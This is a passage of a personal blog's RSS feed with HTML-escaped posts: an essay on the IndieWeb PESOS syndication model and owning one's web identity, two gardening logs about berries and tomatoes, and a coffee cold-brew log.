  &lt;li&gt;&lt;a href=&quot;https://dreamindani.com/posts/bookmark-beat-ep25&quot;&gt;Bookmark Beat&lt;/a&gt; from &lt;a href=&quot;https://dreamindani.com/&quot;&gt;Dani&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;Scrolls&lt;/a&gt; from me! &lt;a href=&quot;https://shellsharks.com/about&quot;&gt;Shellsharks&lt;/a&gt; (I also have my &lt;a href=&quot;https://shellsharks.com/linklog&quot;&gt;Linklog&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you’ve got your own link dump or link log thingy you want added to this list feel free to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;reach out&lt;/a&gt;!&lt;/p&gt;
</description>
        <pubDate>Thu, 29 Jan 2026 11:05:00 -0500</pubDate>
        <link>https://shellsharks.com/link-dumps</link>
        <guid isPermaLink="true">https://shellsharks.com/link-dumps</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Canonicalize Your Web Identity and Achieve Data Sovereignty with PESOS</title>
        <shark:summary><p>Who are you on the web? Are you what your Linkedin says you are? Or your Facebook? What about Instagram? Mastodon? TikTok? Reddit? You probably wouldn’t say any one of those is really <em>you</em>. Each of these represent only a <em>fraction</em> of our collective self on the Internet, none of them truly embodying our real, complete personage as we want it known. We rent these spaces to share our fractured selves, but we don’t actually own our identities, our words or our relationships. They are locked inside each of the individual silos, for the gain of corporations, not for the welfare of we the people who give those spaces life and value. 
<br /><br />
To combat this digital decay, we have the <a href="https://indieweb.org/">IndieWeb</a>, a movement engineered to reclaim our created content, establish more resilient communities and control exactly how and what we want to share with the world. The IndieWeb isn’t universal though, and it lacks some of the social capabilities we’ve come to know and enjoy that these other platforms possess. How can we reconcile the notion of using the IndieWeb as our singular, canonical point-of-presence on the Internet while also continuing to subordinate and store our content in the traditional, corporate-owned platforms? One answer, is <a href="https://indieweb.org/PESOS">PESOS</a>.</p>
</shark:summary>
        <description>&lt;p&gt;Who are you on the web? Are you what your Linkedin says you are? Or your Facebook? What about Instagram? Mastodon? TikTok? Reddit? You probably wouldn’t say any one of those is really &lt;em&gt;you&lt;/em&gt;. Each of these represent only a &lt;em&gt;fraction&lt;/em&gt; of our collective self on the Internet, none of them truly embodying our real, complete personage as we want it known. We rent these spaces to share our fractured selves, but we don’t actually own our identities, our words or our relationships. They are locked inside each of the individual silos, for the gain of corporations, not for the welfare of we the people who give those spaces life and value. 
&lt;br /&gt;&lt;br /&gt;
To combat this digital decay, we have the &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb&lt;/a&gt;, a movement engineered to reclaim our created content, establish more resilient communities and control exactly how and what we want to share with the world. The IndieWeb isn’t universal though, and it lacks some of the social capabilities we’ve come to know and enjoy that these other platforms possess. How can we reconcile the notion of using the IndieWeb as our singular, canonical point-of-presence on the Internet while also continuing to subordinate and store our content in the traditional, corporate-owned platforms? One answer, is &lt;a href=&quot;https://indieweb.org/PESOS&quot;&gt;PESOS&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;PESOS&lt;/strong&gt; is an acronym for &lt;strong&gt;Publish Elsewhere, Syndicate (to your) Own Site&lt;/strong&gt;. It’s a syndication model where publishing starts by posting to a 3rd-party platform, then using infrastructure (e.g. feeds, Micropub, webhooks), create an archive copy on your site. &lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Similar to &lt;em&gt;PESOS&lt;/em&gt; (but in reverse), the IndieWeb community also espouses a similar syndication model, &lt;strong&gt;POSSE&lt;/strong&gt;—which is the practice of posting content on your own site &lt;em&gt;first&lt;/em&gt;, then publishing copies or sharing links to third parties. &lt;sup id=&quot;fnref:2&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;div style=&quot;padding: 10px 15px 10px 15px; margin-bottom: 20px; border-radius: 15px; width: fit-content; border-style:solid; border-width: 2px;&quot;&gt;
&lt;b&gt;NOTE&lt;/b&gt;: In practice, though &lt;i&gt;POSSE&lt;/i&gt; may be more IndieWeb-forward, I think it is a less realistic and less-useful model as it does not allow you to fully exist inside the social communities you are interacting with. Rather, you are posting things natively to your site and having that content forklifted to various services across the Internet. This content often doesn&apos;t respect the nuanced manner and specific contexts in which you are expected to post (e.g. character limits, hashtags, @handles, etc...). For this reason, we&apos;ll primarily discuss &lt;i&gt;PESOS&lt;/i&gt;.
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;PESOS&lt;/em&gt; when coupled with an IndieWeb presence, is a simple model which allows us to achieve data soverignty, optimally curate how we express ourselves, and establish a canonical presence for ourselves on the web. Since we are archiving content &lt;em&gt;back&lt;/em&gt; to our own site, we can own it outright. Since we choose &lt;em&gt;what&lt;/em&gt; we want to archive, and exactly &lt;em&gt;how&lt;/em&gt; it is displayed, we are free to be exactly who we want to be. And since everything is going to a singular spot, that you own, it can be a permanent place for anyone to find &lt;u&gt;you&lt;/u&gt;, in perpetuity.&lt;/p&gt;

&lt;p&gt;If you’re looking for further inspiration and examples of this in action, check out the following sites which have done an awesome job bringing &lt;em&gt;PESOS&lt;/em&gt; to life!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://aaronparecki.com&quot;&gt;Aaron Parecki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kottke.org&quot;&gt;Jason Kottke&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mollywhite.net/feed&quot;&gt;Molly White&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/activity/&quot;&gt;Shellsharks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This all sounds great right? But &lt;a href=&quot;#how-to-pesos&quot;&gt;how exactly&lt;/a&gt; do we do this…&lt;/p&gt;

&lt;h1 id=&quot;how-to-pesos&quot;&gt;How to PESOS&lt;/h1&gt;

&lt;p&gt;Some things are easier said than done, and with &lt;a href=&quot;https://indieweb.org/PESOS&quot;&gt;PESOS&lt;/a&gt;, this is true in many ways. There are a few things to consider when you are architecting a &lt;em&gt;PESOS&lt;/em&gt;-driven syndication / archival strategy.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Ensure you have a repository (i.e. a website) that &lt;em&gt;you own&lt;/em&gt; for everything to go to&lt;/li&gt;
  &lt;li&gt;Understand what &lt;em&gt;exactly&lt;/em&gt; you want to archive&lt;/li&gt;
  &lt;li&gt;Will you archive content in a manual or automation fashion?&lt;/li&gt;
  &lt;li&gt;Acquire tooling/technology to perform archival / syndication&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;own-your-website-own-your-data&quot;&gt;Own Your Website, Own Your Data&lt;/h3&gt;

&lt;p&gt;To not fall into the same content ownership trap that we’ve traditionally had with centralized platforms, it is important that the site you use, the one you are “&lt;em&gt;PESOS&lt;/em&gt;-ing” to, is one that you &lt;em&gt;own&lt;/em&gt;. Ownership in this context means…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You purchase and are able to use a custom domain name&lt;/li&gt;
  &lt;li&gt;You have some level of access to all your content (e.g. backups of all your posts and other relevant data/files)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are site/blog-hosting platforms out there that offer one-of, but not &lt;em&gt;both&lt;/em&gt; of these qualities.&lt;/p&gt;

&lt;p&gt;For example, consider a platform where you retain access to your data, but your site exists under a subdomain of the larger parent company (e.g. “&lt;em&gt;shellsharks.medium.com&lt;/em&gt;”). If you ever decided to leave this platform, or the platform disappears, or &lt;em&gt;enshittifies&lt;/em&gt;, you may retain your content, but your identity disappears with it. Similarly, consider a platform where you can bring your own domain name, but your content is locked away in some proprietary CMS. If you don’t take precautionary measures to keep regular backups of your content, you could lose that content completely in the event of service closure, or merely at the whims of the provider.&lt;/p&gt;

&lt;p&gt;Only with both of these criteria can you resiliently port your data and identity to different web hosts and blogging platforms, retaining ownership of your data, and not losing the all-so-important pointer to your self on the web (i.e. your domain name).&lt;/p&gt;

&lt;p&gt;Speaking of data ownership, let’s discuss &lt;a href=&quot;#what-should-you-archive&quot;&gt;what’s important to you&lt;/a&gt;…&lt;/p&gt;

&lt;h3 id=&quot;what-should-you-archive&quot;&gt;What Should You Archive?&lt;/h3&gt;

&lt;p&gt;Do you want to bring everything you post elsewhere on the Internet back to your site? What does &lt;em&gt;everything&lt;/em&gt; even mean? Replies, boosts, likes, posts—&lt;em&gt;everything&lt;/em&gt;? Maybe you do. I know I don’t. It’s just something you need to decide for yourself, based on what’s important for you to archive, what you want to have exposed on your site, and what you think you’ll want in the future.&lt;/p&gt;

&lt;p&gt;I for example, was not interested in archiving a lot of my social interactions. I don’t care to bring back “likes”, or “boosts/reposts”. Even the overwhelming majority of my “reply posts” are not something I care to keep long term—they serve no useful purpose as reference material, and in most cases are just li’l blurbs like “heya! 👋”. Not exactly worth retaining a copy of every instance of this. Even a lot of my regular, original “posts” are not worth keeping as they are either me manually syndicating (&lt;em&gt;POSSE&lt;/em&gt;-style) something I’ve published first on my site, or they are simply (&lt;em&gt;and pardon my french&lt;/em&gt;) &lt;em&gt;shitposts&lt;/em&gt;. I don’t need these things permalinked on my site.&lt;/p&gt;

&lt;p&gt;Once you’ve got the general idea of &lt;em&gt;what&lt;/em&gt; you want to archive, you’ll be better informed as to &lt;a href=&quot;#manual-andor-automated-syndication&quot;&gt;how you plan to archive&lt;/a&gt; this content.&lt;/p&gt;

&lt;h3 id=&quot;manual-andor-automated-syndication&quot;&gt;Manual and/or Automated Syndication&lt;/h3&gt;

&lt;p&gt;Whether to manually or automatically syndicate content to your site is as much a technological challenge as it is a philosophical question. For me, I prefer a more highly curated approach to what I share on my site. So I am hesitant to auto-publish content that originates across my Internet-of-platforms back to my site without either first reviewing / approving (and often enriching) it or unless their is robust logic in place which determines whether I would want it archived.&lt;/p&gt;

&lt;p&gt;Once you’ve settled on an approach though, a new challenge is born. &lt;em&gt;Manually&lt;/em&gt; archiving is very time consuming, and does not scale well. You have to either have A LOT of time on your hands (if you post a lot elsewhere), or just &lt;em&gt;not&lt;/em&gt; have a lot you care to archive back. On the other hand, automatic syndication requires bespoke tooling &amp;amp; technology. Some combination of services or hosted-scripts that can be triggered to grab content from one place, transform it, and then put it on your site. Let’s talk about that &lt;a href=&quot;#archival-tooling--technology&quot;&gt;tooling &amp;amp; technology&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;archival-tooling--technology&quot;&gt;Archival Tooling &amp;amp; Technology&lt;/h3&gt;

&lt;p&gt;There’s a lot of tools out there to archive your &lt;em&gt;stuff&lt;/em&gt;. Not all of it works. Not all of it is compatible with the blogging / site platform you may have chosen. Not all of it will work with the services you are trying to extract content from. Some of the tech is only semi-automatic. You’ll have to do some research and cobble together what actually works to achieve the results you’ve decided you want.&lt;/p&gt;

&lt;p&gt;If you’re on Mastodon (as I am), you may be interested in using the &lt;a href=&quot;https://git.garrido.io/gabriel/mastodon-markdown-archive&quot;&gt;Mastodon Markdown Archive&lt;/a&gt; utility. It’s author, &lt;a href=&quot;https://garrido.io/about/&quot;&gt;Gabriel&lt;/a&gt; explains how he uses it for &lt;a href=&quot;https://garrido.io/notes/archiving-and-syndicating-mastodon-posts/&quot;&gt;archiving and syndicating Mastodon posts&lt;/a&gt;. In fact, I used this tool for my own &lt;a href=&quot;https://shellsharks.com/devlog/mastodon-auto-pesos&quot;&gt;Mastodon Auto-PESOS&lt;/a&gt; needs.&lt;/p&gt;

&lt;p&gt;The IndieWeb is a thriving network of communities, and &lt;em&gt;PESOS&lt;/em&gt; is not some nascent ideology. There’s a groundswell of people looking to reclaim their data and their identities. As such, there is a lot of tooling out there, already built, that you can find and use to archive your data, the &lt;em&gt;PESOS&lt;/em&gt;-way.&lt;/p&gt;

&lt;hr width=&quot;25%&quot; /&gt;

&lt;p&gt;The beauty of the IndieWeb, is that it’s all about &lt;u&gt;you&lt;/u&gt;. Your data, your identity, your choice. You can choose to archive stuff, you could &lt;em&gt;not&lt;/em&gt;! You can archive things and then delete them later. You can choose how your content looks, edit it, add to it, &lt;em&gt;whatever&lt;/em&gt;! &lt;strong&gt;PESOS&lt;/strong&gt; is the best of all worlds. You can continue to participate in the centralized platforms, for all their social utility, but remain fully in control of your data and your identity. &lt;em&gt;Perfect&lt;/em&gt;!&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://indieweb.org/PESOS&quot;&gt;PESOS | Indieweb.org&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://indieweb.org/POSSE&quot;&gt;POSSE | Indieweb.org&lt;/a&gt; &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Wed, 21 Jan 2026 12:35:00 -0500</pubDate>
        <link>https://shellsharks.com/pesos</link>
        <guid isPermaLink="true">https://shellsharks.com/pesos</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Gardenlog: Blueberries, Blackberries, Oh My!</title>
        <shark:summary><p>OK! Checking in now on all things <em>garden-ey</em> from the past few weeks…</p>
</shark:summary>
        <description>&lt;p&gt;OK! Checking in now on all things &lt;em&gt;garden-ey&lt;/em&gt; from the past few weeks…&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;hr /&gt;

&lt;h1 id=&quot;tomato-updates&quot;&gt;Tomato Updates&lt;/h1&gt;

&lt;p&gt;The &lt;strong&gt;Cherokee Purple&lt;/strong&gt;’s have really gotten tall! Some yellow flowers here and there but no sign of fruiting as of yet. Just gotta keep on waterin’ ‘em and see what they do. 🍅&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/growing-tomatos.jpeg&quot; alt=&quot;Growing Tomatos&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;blueberries-blackberries-oh-my&quot;&gt;Blueberries, Blackberries, Oh my!&lt;/h1&gt;

&lt;p&gt;After some serious snipping, I was able to remove all of the invasive honeysuckle that had managed to grow in-between the two blueberry bushes that it turns out I have on the side of my house. Between the two of them, there seemed to be 100’s of berries! They ripened at various times and it was a blast hand-picking them with the kids and eatin’ them on the spot. But it’s not just kids that like berries—birds and squirrels do too—and they came for them… So, I bought a little tulle to try and protect the berries (as shown below). Has it worked? Hard to say. I don’t think I did the best job wrapping the bushes to begin with so inevitably the little critters found their way in. Now I’ve just got one bush wrapped and I think it’s doin’ a decent job at this point. The other bush is just about picked clean.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/protected-berries.jpeg&quot; alt=&quot;Protecting Berries&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next to my blueberries, I’ve got this other berry plant. For a while I thought it was some kind of blackberry, but it could be a raspberry too perhaps? Take a look at the following two pictures and let me know what you think…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/maybe-raspberry.jpeg&quot; alt=&quot;Blackberry or Raspberry&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/berry-closeup.jpeg&quot; alt=&quot;Berry Closeup&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Either way, delicious berries are in my future. No complaints!&lt;/p&gt;

&lt;h1 id=&quot;other-stuff&quot;&gt;Other stuff&lt;/h1&gt;

&lt;p&gt;Here’s some other random things to report from the garden/yard…&lt;/p&gt;

&lt;p&gt;My porch project is nearly done, and here’s the current status of my future garden bed location. It’s all clear of pavers! Some work will need to be done to dig it out from here and lay in some suitable soil. Haven’t decided what all I want to grow here, but I think some cucumbers for sure (amongst other things).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/future-new-garden-bed.jpeg&quot; alt=&quot;future garden bed&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Also, as part of the larger future layout of my yard/gardening area, I’ve put in some infrastructure for a future potting bench that would sport a working sink. Cool!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/future-potting-bench.jpeg&quot; alt=&quot;future potting bench location&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I bought a pair of potted hydrangeas. Just waiting for some flowers now…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/new-hydrangea.jpeg&quot; alt=&quot;hydrangea&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, checking in on the &lt;a href=&quot;https://en.wikipedia.org/wiki/Rubus_allegheniensis&quot;&gt;wild blackerries&lt;/a&gt; I’ve got out back… the fruit is struggling a bit…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/2025/wild-blackberry.jpeg&quot; alt=&quot;wild blackberry&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Until next time! 🧑‍🌾&lt;/p&gt;
</description>
        <pubDate>Mon, 23 Jun 2025 15:56:00 -0400</pubDate>
        <link>https://shellsharks.com/gardenlog-2</link>
        <guid isPermaLink="true">https://shellsharks.com/gardenlog-2</guid>
        
        <category>life</category>
        
        <category>gardening</category>
        
        <category>gardenlog</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Brewlog</title>
        <shark:summary><p>A place for me to keep record of my (coffee) <a href="https://shellsharks.com/notes/2025/05/13/how-i-take-my-coffee">cold brews</a>. I’m no coffee tasting expert, but will add some notes as I go! ☕️</p>
</shark:summary>
        <description>&lt;p&gt;A place for me to keep record of my (coffee) &lt;a href=&quot;https://shellsharks.com/notes/2025/05/13/how-i-take-my-coffee&quot;&gt;cold brews&lt;/a&gt;. I’m no coffee tasting expert, but will add some notes as I go! ☕️&lt;/p&gt;

&lt;style&gt;
  body {
    background-color:#634832;
  }
  main {
    color: #ece0d1;
  }
  .primarycolor {
    color: #ece0d1;
  }
  article * a {
    color: #ece0d1 !important;
    text-decoration-line: underline !important;
    text-decoration-color: #967259;
  }
  footer * span {
    color: white !important; 
  }
  p {
    color: #ece0d1;
  }
  #titledot {
    color: #38220f !important;
  }
  strong {
    color:  white;
    font-weight: 1000;
  }
  li::marker {
    color:  #ece0d1;
  }
  hr {
    border-color:  #38220f !important;
  }
  .prev {
    color: #ece0d1 !important;
  }
  .next {
    color: #ece0d1 !important;
  }
  #withlove &gt; a {
    color: #ece0d1 !important;
  }
  .ph-heart-straight {
    color: #38220f !important;
  }
  .ph-magnifying-glass {
    color: #ece0d1 !important;
  }
  #menuToggle span {
    background: #ece0d1;
  }
&lt;/style&gt;

&lt;h2 id=&quot;brew-logs&quot;&gt;Brew Logs&lt;/h2&gt;

&lt;h3 id=&quot;time-bender&quot;&gt;Time Bender&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Roaster&lt;/strong&gt;: &lt;a href=&quot;https://weirdbrothers.com&quot;&gt;Weird Brothers Coffee&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Brew Date&lt;/strong&gt;: 3/11/26&lt;br /&gt;
&lt;strong&gt;Tasting Notes&lt;/strong&gt;: Was OK.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/coffeelog/time-bender.jpeg&quot; alt=&quot;Stranger Beans&quot; width=&quot;250px&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;stranger-beans&quot;&gt;Stranger Beans&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Roaster&lt;/strong&gt;: &lt;a href=&quot;https://weirdbrothers.com&quot;&gt;Weird Brothers Coffee&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Brew Date&lt;/strong&gt;: 2/21/26&lt;br /&gt;
&lt;strong&gt;Tasting Notes&lt;/strong&gt;: Loved it. Very flavorful and fresh. Need to get this one again.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/coffeelog/stranger-beans.jpeg&quot; alt=&quot;Stranger Beans&quot; width=&quot;250px&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;catoctin-coffee-company&quot;&gt;Catoctin Coffee Company&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Roaster&lt;/strong&gt;: &lt;a href=&quot;https://catoctincoffee.com&quot;&gt;Catoctin Coffee Company&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Brew Date&lt;/strong&gt;: 6/19/25&lt;br /&gt;
&lt;strong&gt;Purchase Location&lt;/strong&gt;: &lt;a href=&quot;https://www.trinityhousecafe.com/&quot;&gt;Trinity House Café&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Tasting Notes&lt;/strong&gt;: Not bad.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/coffeelog/CatoctinCoffeeCompany.jpeg&quot; alt=&quot;Catoctin Coffee Company&quot; width=&quot;250px&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;loan-oak-house-blend&quot;&gt;Loan Oak House Blend&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Roaster&lt;/strong&gt;: &lt;a href=&quot;https://www.loneoakcoffee.com&quot;&gt;Loan Oak Coffee Co.&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Variety&lt;/strong&gt;: House Blend&lt;br /&gt;
&lt;strong&gt;Flavor Profile&lt;/strong&gt;: Africa &amp;amp; Latin America- Sweet Cocoa, Brown Sugar, Smooth&lt;br /&gt;
&lt;strong&gt;Purchase Location&lt;/strong&gt;: &lt;a href=&quot;https://blendcoffeebar.com&quot;&gt;Blend Coffee Bar&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/coffeelog/loneoak-houseblend.jpeg&quot; alt=&quot;Lone Oak House Blend&quot; width=&quot;250px&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;pushing-daisies&quot;&gt;Pushing Daisies&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Roaster&lt;/strong&gt;: &lt;a href=&quot;https://www.loneoakcoffee.com&quot;&gt;Loan Oak Coffee Co.&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Variety&lt;/strong&gt;: Pushing Daisies&lt;br /&gt;
&lt;strong&gt;Flavor Profile&lt;/strong&gt;: Fruity, Earthy, Floral&lt;br /&gt;
&lt;strong&gt;Brew Date&lt;/strong&gt;: 6/6/25&lt;br /&gt;
&lt;strong&gt;Purchase Location&lt;/strong&gt;: &lt;a href=&quot;https://blendcoffeebar.com&quot;&gt;Blend Coffee Bar&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/coffeelog/pushing-daisies.jpeg&quot; alt=&quot;Pushing Daisies&quot; width=&quot;250px&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;townsman&quot;&gt;Townsman&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Roaster&lt;/strong&gt;: &lt;a href=&quot;https://www.loneoakcoffee.com&quot;&gt;Loan Oak Coffee Co.&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Variety&lt;/strong&gt;: Townsman&lt;br /&gt;
&lt;strong&gt;Flavor Profile&lt;/strong&gt;: Mexico Chiapas- Dark Roast | Dark Chocolate, Molasses, Bold&lt;br /&gt;
&lt;strong&gt;Brew Date&lt;/strong&gt;: 5/19/25&lt;br /&gt;
&lt;strong&gt;Purchase Date&lt;/strong&gt;: 5/16/25&lt;br /&gt;
&lt;strong&gt;Purchase Location&lt;/strong&gt;: &lt;a href=&quot;https://blendcoffeebar.com&quot;&gt;Blend Coffee Bar&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Tasting Notes&lt;/strong&gt;: &lt;em&gt;Very roasty and a bit bitter. Decent but not my favorite.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/coffeelog/townsman.jpeg&quot; alt=&quot;Townsman&quot; width=&quot;250px&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;brazil-natural-process-coffee&quot;&gt;Brazil Natural Process Coffee&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Roaster&lt;/strong&gt;: &lt;a href=&quot;https://www.caffeamouri.com&quot;&gt;Caffè Amouri&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Variety&lt;/strong&gt;: Brazil Natural Process Coffee&lt;br /&gt;
&lt;strong&gt;Flavor Profile&lt;/strong&gt;: Dark Roast | Dark Chocolate, Almond, Orange Zest, Sweet &amp;amp; Clean&lt;br /&gt;
&lt;strong&gt;Brew Date&lt;/strong&gt;: May 13, 2025&lt;br /&gt;
&lt;strong&gt;Purchase Date&lt;/strong&gt;: May 12, 2025&lt;br /&gt;
&lt;strong&gt;Purchase Location&lt;/strong&gt;: &lt;a href=&quot;https://www.ridgetopcoffeeandtea.com&quot;&gt;Ridgetop Coffee &amp;amp; Tea&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Tasting Notes&lt;/strong&gt;: &lt;em&gt;I really liked this one.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/coffeelog/brazil-natural-process-coffee.jpeg&quot; alt=&quot;Brazil Natural Process Coffee&quot; width=&quot;250px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;* Will limit these logs to net new brews, rather than re-logging beans I have tried previously.&lt;/p&gt;

&lt;h2 id=&quot;beforetimes&quot;&gt;Beforetimes&lt;/h2&gt;
&lt;p&gt;I had some other beans before this but had not started this log yet. So some in these beforetimes will go unrecorded!&lt;/p&gt;
</description>
        <pubDate>Mon, 19 May 2025 10:10:00 -0400</pubDate>
        <link>https://shellsharks.com/brewlog</link>
        <guid isPermaLink="true">https://shellsharks.com/brewlog</guid>
        
        <category>life</category>
        
        <category>coffee</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Gardenlog</title>
        <shark:summary><p>It’s time. I’m gettin’ into <strong>gardening</strong>. Have I grown <i>anything <u>ever</u></i>? Nope. Do I simply <strong>adore</strong> the taste of a garden-fresh tomato? <strong>100%</strong>. <em>So</em>, as is my custom, I’m going to attempt to document the journey—to include all the successes, failures, and hopefully delicious moments along the way.
<br /></p>
</shark:summary>
        <description>&lt;p&gt;It’s time. I’m gettin’ into &lt;strong&gt;gardening&lt;/strong&gt;. Have I grown &lt;i&gt;anything &lt;u&gt;ever&lt;/u&gt;&lt;/i&gt;? Nope. Do I simply &lt;strong&gt;adore&lt;/strong&gt; the taste of a garden-fresh tomato? &lt;strong&gt;100%&lt;/strong&gt;. &lt;em&gt;So&lt;/em&gt;, as is my custom, I’m going to attempt to document the journey—to include all the successes, failures, and hopefully delicious moments along the way.
&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;I don’t know what I’ll do with this “series” long-term. (Hopefully) if this whole gardening thing works out, I’ll have semi-routine posts about this sorta thing—but what format they will come in is TBD. Maybe they’ll just be regular “posts” (&lt;em&gt;as this one is&lt;/em&gt;), or a recurring section in my “&lt;a href=&quot;https://shellsharks.com/captains-log&quot;&gt;Captain’s Log&lt;/a&gt;”. Or maybe it’ll deserve its own &lt;a href=&quot;https://shellsharks.com/devlog/collection-all-the-things&quot;&gt;collection&lt;/a&gt; type some time into the future. Rather than obsess over that now, I’m just going to make &lt;u&gt;this&lt;/u&gt; post and see what it all &lt;em&gt;grows&lt;/em&gt; into! (See what I did there? 🤭)&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;gear-up&quot;&gt;Gear Up&lt;/h1&gt;

